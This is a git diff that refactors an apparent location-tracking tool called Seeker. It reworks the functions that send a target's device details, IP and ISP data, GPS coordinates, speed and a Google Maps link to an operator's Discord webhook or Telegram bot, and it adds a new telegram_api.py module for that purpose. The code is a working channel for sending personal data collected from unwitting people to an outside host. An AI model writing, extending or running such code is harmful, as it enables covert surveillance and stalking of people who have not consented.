diff --git a/discord_webhook.py b/discord_webhook.py index f01a1488..2c6de32f 100644 --- a/discord_webhook.py +++ b/discord_webhook.py @@ -4,7 +4,7 @@ from json import dumps, loads -def sender(url, msg_type, content): +def discord_sender(url, msg_type, content): json_str = dumps(content) json_content = loads(json_str) if msg_type == 'device_info': @@ -55,8 +55,9 @@ def sender(url, msg_type, content): } ] } - requests.post(url, json=info_message) - elif msg_type == 'ip_info': + requests.post(url, json=info_message, timeout=10) + + if msg_type == 'ip_info': ip_info_msg = { "content": None, "embeds": [ @@ -92,8 +93,9 @@ def sender(url, msg_type, content): } ] } - requests.post(url, json=ip_info_msg) - elif msg_type == 'location': + requests.post(url, json=ip_info_msg, timeout=10) + + if msg_type == 'location': location_msg = { "content": None, "embeds": [ @@ -129,4 +131,30 @@ def sender(url, msg_type, content): } ] } - requests.post(url, json=location_msg) + requests.post(url, json=location_msg, timeout=10) + + if msg_type == 'url': + url_msg = { + "content": json_content['url'], + "embeds": None, + "attachments": [] + } + requests.post(url, json=url_msg, timeout=10) + + if msg_type == 'error': + error_msg = { + "content": None, + "embeds": [ + { + "color": 16711680, + "fields": [ + { + "name": "Error", + "value": json_content['error'] + } + ] + } + ], + "attachments": [] + } + requests.post(url, json=error_msg, timeout=10) diff --git a/seeker.py b/seeker.py index 76a2e995..c046c213 100755 --- a/seeker.py +++ b/seeker.py @@ -14,8 +14,7 @@ import requests import traceback import shutil -import re -import time +from time import sleep from os import path, kill, mkdir, getenv, environ, remove, devnull from json import loads, decoder from packaging import version @@ -96,9 +95,7 @@ def chk_update(): import socket import importlib -import urllib.parse from csv import writer -from time import sleep import subprocess as subp from ipaddress import ip_address from signal import SIGTERM @@ -107,6 +104,7 @@ def chk_update(): with open(devnull, 'w') as nf: sys.stderr = nf import psutil +sys.stderr = sys.__stderr__ def banner(): @@ -135,35 +133,20 @@ def send_webhook(content, msg_type): utils.print(f'{R}[-] {C}Protocol missing, include http:// or https://{W}') return if webhook.lower().startswith('https://discord.com/api/webhooks'): - from discord_webhook import sender - sender(webhook, msg_type, content) + from discord_webhook import discord_sender + discord_sender(webhook, msg_type, content) else: - cpt = 3 - for i in range(cpt): - rqst = None - try: - rqst = requests.post(webhook, json=content) - except Exception: - rqst = None - if rqst and rqst.ok: - return - time.sleep(i + 1) - utils.print(f'{R}[-] {C}Unable to reach the webhook endpoint, ensure it listens on a POST method and unauthenfied{W}') + requests.post(webhook, json=content) -def send_telegram(content): +def send_telegram(content, msg_type): if telegram is not None: tmpsplit = telegram.split(':') if len(tmpsplit) < 3: - utils.print(f'{R}[-] {C}Provided Telegram bot information invalid : expected format is token:chatId (with colon){W}') + utils.print(f'{R}[-] {C}Telegram API token invalid! Format -> token:chatId{W}') return - content = re.sub('\33\[\d+m', ' ', content) - api_target_url = f'https://api.telegram.org/bot{tmpsplit[0]}:{tmpsplit[1]}/sendMessage?chat_id={tmpsplit[2]}&text={urllib.parse.quote_plus(content)}' - rqst = requests.get(api_target_url) - if rqst: - utils.print(f'{G}[+] {C}Successfully sent to Telegram bot {W}') - else: - utils.print(f'{R}[-] {C}Unable to send to Telegram bot {W}\n{rqst.status_code} => {rqst.text}') + from telegram_api import tgram_sender + tgram_sender(msg_type, content, tmpsplit) def template_select(site): @@ -327,7 +310,7 @@ def data_parser(): {G}[+] {C}Public IP : {W}{var_ip} ''' utils.print(device_info) - send_telegram(device_info) + send_telegram(info_json, 'device_info') send_webhook(info_json, 'device_info') if ip_address(var_ip).is_private: @@ -357,7 +340,7 @@ def data_parser(): {G}[+] {C}ISP : {W}{var_isp} ''' utils.print(ip_info) - send_telegram(ip_info) + send_telegram(data, 'ip_info') send_webhook(data, 'ip_info') with open(RESULT, 'r') as result_file: @@ -387,19 +370,21 @@ def data_parser(): {G}[+] {C}Speed : {W}{var_spd} ''' utils.print(loc_info) - send_telegram(loc_info) + send_telegram(result_json, 'location') send_webhook(result_json, 'location') gmaps_url = f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}' + gmaps_json = {'url': f'https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'} utils.print(gmaps_url) - send_telegram(gmaps_url) + send_telegram(gmaps_json, 'url') + send_webhook(gmaps_json, 'url') if kml_fname is not None: kmlout(var_lat, var_lon) else: var_err = result_json['error'] - errmsg = f'{R}[-] {C}{var_err}\n' - send_telegram(errmsg) - utils.print(errmsg) + utils.print(f'{R}[-] {C}{var_err}\n') + send_telegram(result_json, 'error') + send_webhook(result_json, 'error') csvout(data_row) clear() diff --git a/telegram_api.py b/telegram_api.py new file mode 100644 index 00000000..046610bf --- /dev/null +++ b/telegram_api.py @@ -0,0 +1,80 @@ +import utils +import requests +from json import dumps, loads + +R = '\033[31m' # red +G = '\033[32m' # green +C = '\033[36m' # cyan +W = '\033[0m' # white +Y = '\033[33m' # yellow + + +def send_request(token, msg): + api_url = f'https://api.telegram.org/bot{token[0]}:{token[1]}/sendMessage' + api_params = { + 'chat_id': token[2], + 'text': msg, + 'parse_mode': 'MarkdownV2' + } + rqst = requests.get(api_url, params=api_params, timeout=10) + if rqst.status_code != 200: + utils.print(f'{R}[-] {C}Telegram :{W} [{rqst.status_code}] {loads(rqst.text)["description"]}\n') + + +def tgram_sender(msg_type, content, token): + json_str = dumps(content) + json_content = loads(json_str) + if msg_type == 'device_info': + info_message = f""" +*Device Information* + +``` +OS : {json_content['os']} +Platform : {json_content['platform']} +Browser : {json_content['browser']} +GPU Vendor : {json_content['vendor']} +GPU : {json_content['render']} +CPU Cores : {json_content['cores']} +RAM : {json_content['ram']} +Public IP : {json_content['ip']} +Resolution : {json_content['ht']}x{json_content['wd']} +```""" + send_request(token, info_message) + + if msg_type == 'ip_info': + ip_message = f""" +*IP Information* + +``` +Continent : {json_content['continent']} +Country : {json_content['country']} +Region : {json_content['region']} +City : {json_content['city']} +Org : {json_content['org']} +ISP : {json_content['isp']} +``` +""" + send_request(token, ip_message) + + if msg_type == 'location': + loc_message = f""" +*Location Information* + +``` +Latitude : {json_content['lat']} +Longitude : {json_content['lon']} +Accuracy : {json_content['acc']} +Altitude : {json_content['alt']} +Direction : {json_content['dir']} +Speed : {json_content['spd']} +``` +""" + send_request(token, loc_message) + + if msg_type == 'url': + url_msg = json_content['url'] + send_request(token, url_msg) + + if msg_type == 'error': + error_msg = json_content['error'] + send_request(token, error_msg)